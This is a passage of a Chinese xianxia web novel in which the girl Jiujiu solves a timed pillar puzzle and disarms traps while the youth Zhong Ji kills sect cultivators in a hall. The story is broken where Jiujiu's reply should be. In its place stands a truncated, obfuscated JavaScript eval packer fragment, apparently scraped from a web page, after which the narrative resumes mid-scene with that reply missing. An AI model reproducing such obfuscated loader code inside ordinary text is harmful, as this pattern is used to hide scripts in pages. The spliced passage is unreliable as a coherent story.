只见石块相磨,空间震颤。不消片刻,一道让人无法直视的白光炸开,刺骨的腥风狂啸着扑过来。 长发被吹得在空中狂舞,啾啾不得不抬起胳膊挡了一下。 身边轰隆隆响个不停,再睁开眼时,面前已经出现了五根柱子。 三只脊兽宛如活过来一般,盯着她,绕着她慢慢走。兽目如炬,它们偶尔扬首嘶吼一声,声音高昂骇人。 啾啾抽剑防备了一会儿,发现脊兽并没有伤害她的意思后,这才看向柱子。 柱子都是四边形的方柱,中间有一根最大的主柱,上面镶着个快速流逝的沙漏。主柱四面则分别贴着一根小柱子。 光是看到这么个景象,啾啾心里就已经有了底,过去试了一把。 她触动北边的小柱子,“嗞——”的一声,北、东、西三根小柱子都慢慢往外滑动,远离了主柱。 ——果然。 这阵谜她以前解过。 简单来说就是,触动其中任意一根小柱子,相邻两根都会跟着移动,或是朝外,或是朝内。 而她必须在沙漏的计时结束前,让四根小柱子全部远离主柱。 如果没成功——啾啾看一眼周围紧盯她的脊兽。她大概会被这些东西撕成碎片。 必须要快一点! 不仅为了她自己,也为了小钟师兄快点轻松下来。 啾啾闭上眼睛,在心里迅速演算起柱子的触发顺序。 “铛——!” 刀与刀相撞在一起,薄刃之上绽开激烈的火花。力量惊人,中年男人手臂不受控制地颤抖起来,骨节之间发出咔哒的声响。 按理说,这种纯粹的兵刃攻击,都会有个“势”,一刀落下后,攻势到了尽头,便再也使不上力,必须再次挥刀才行。可这少年宛如怪物,就算攻势已尽,他依然能用惊人的力道继续胶着。 骨头已经感觉到快要折断的痛楚了,男人浑身上下都因过度用力而发抖,肌肉紧绷。 “啪。” 足下突然一沉,他心也跟着一沉。 靴子下面那光洁的地面竟然在压倒性的力量中裂开了,裂纹从鞋跟处不住往外蜿蜒扩散。男人毫不怀疑,他现在胆敢松懈半分,就会立刻被这少年的刀刃劈成两半。 刀刃间突然发出叮叮当当的声音,提醒男人,他现在拿不稳兵刃了。 男人抬起视线——少年低着头,眉眼都笼罩着黑暗,看不清楚,只有他那邪恶的笑格外显眼,两枚犬牙仿佛要洞穿敌人脖子似的。 不知为何,男人竟然生出了种畏怯。 好在斜后方又有一柄刀刃挥来,少年不得不退开迎击新的敌人。 得救了—— 一瞬间,男人心里浮现出了这三个字。然而喜悦还没持续一息时间,对面师弟的头颅就砸下来,死不瞑目,鲜血喷涌而出,兜头浇了他一脸。 温热的血,寒冷的心。 空气一时死寂,只有少年张狂的笑声在肆意回荡。 大殿里已经横七竖八躺了十几具尸体,筑基期弟子全灭,金丹期修士死了一个——正是刚才那位师弟,他才刚刚升上金丹期半年。 场上只剩下四个沂山派修士存活,全是金丹期修为,最高一个是金丹五层。 没人敢再贸然上前。 这少年,究竟是什么怪物? 明明只有筑基后期修为,还身处这凌虐神魂的离魂阵中,按理说,早就应该被压制得连刀都抬不起来了。可他竟然生生承受了那剥皮剜骨般的极致痛楚。 增援呢?增援还有多久来? 正想着,突然哐哐当当一阵响。 男人心里蓦地一跳,瞳孔不住收缩,眼睁睁看着殿内阵眼上的灵灯一盏盏灭下去,最后阵法运转的光幕也缓缓破碎。 离魂阵竟然,被破了?! 随着阵法的消失,少年侧过脸。 他唇是红的,眼尾是红的,瞳孔也是红的,宛如一片让人心惊肉跳的血色。 完了。 男人浑身僵硬。 必须要拖到增援来才行。 又是轻轻一阵响,另一个灵力迅速靠近。少女轻巧地翻入已经破败的大殿,眼睛里没有光亮,表情平平:“钟棘,你还好吗?” 说话时啾啾迅速扫了一圈,能看见大殿里有七个陷阱,其中两个已经被触发了。 少年左肩上有个血洞,胸口也有一道伤,鲜血渗出,没入红衣,衣衫显得更加艳烈。 “受了点小伤,不过头不疼了。”钟棘随口回答。 啾啾又问:“伤口呢?疼不疼?” “啊?”钟棘一愣,“当然疼啊。” 他又不是感觉不到疼痛的怪胎,怎么可能会不疼。少年很不满那些让他受伤的东西:“所以你赶紧把这些陷阱也清理掉。” “知道了。” 啾啾点点头,转过身,从离她最近的那处机关入手。 …… 这两个筑基期小鬼,看起来根本就没把他们放在眼里!什么“赶紧把这些陷阱也清理掉”……他们竟如此嚣张地在他面前大声密谋! 男人——卓玑非常不满,沉着脸,早没了之前桀桀而笑的悠哉:“我倒是低估你们两个小娃儿了。” 少年扭头看他一眼。 卓玑背后肌肉猛地颤了颤,下意识后退半步,脑袋里仿佛有一根看不见的线提起,扯紧了他呼吸。 不远处师弟拼命给他递眼色——援兵马上就到了,再拖延一下就好。 卓玑冷笑几声,捋捋胡须:“小姑娘,和老头子我说说,你是如何发现我这偏殿里藏着埋伏的?” 话音刚落,便是“咔哒”一声。 啾啾就在他眼皮子底下破坏掉了其中一个惊雷咒术陷阱,坦然自若得仿佛是奉蜂后之命来拆迁他洞府的。 完全就没有顾忌洞府主人卓玑的心情。 那陷阱里封存的咒术可是金丹后期的咒术。卓玑心疼得眼皮直跳。 这两个熊孩子! 啾啾仿佛这才听见有人问话,站起来,没有表情,语气平淡乖巧: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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感受到那两个金丹中期的灵力越靠越近、越靠越近,被他们围在中间的红衣少年笑了:“你们可以六个人一起上,然后一起被我杀掉。” 瞒不住他。 卓玑面色一沉,不再多言:“上!” 他抬起手,话音刚落,六个人便化作六道黄光,直直腾空,射向最中间的少年! 少年岿然不动,只是嘴角越扬越高。 而不远处的少女也破坏了第三个陷阱,不咸不淡地看过来。 卓玑冷不丁地撞进少女眼里。幽深、暗黑,像是悬崖下平静的死水,带着种能将人拖下深渊的神秘。 左右两侧的师弟都似乎靠拢了他,兵器上带着风声,割得人耳朵疼。 !!! 刀光突然一收,卓玑仿佛绝望的老鼠,猛地一个急刹,一瞬间往后弹开两丈远! “卓玑师兄?” 师弟们也在同一时间跟着急急撤退,怔忪发怵。 红衣少年不明所以地歪过头,居高临下:“不上吗?” 卓玑大口喘着气,擦了一把额头上密密麻麻的汗珠,盯着啾啾,目光谨慎惊骇。 这女子,故意满脸无害地拿个不知所谓的东西诈我等,说什么闻到了“水蜜桃”的香味,引我等互相防备猜忌,甚至自相残杀! 她一定早就猜到了这个局面,说不定正在心里阴险睥睨地嘲笑我等。 当真是老谋深算,心机深沉!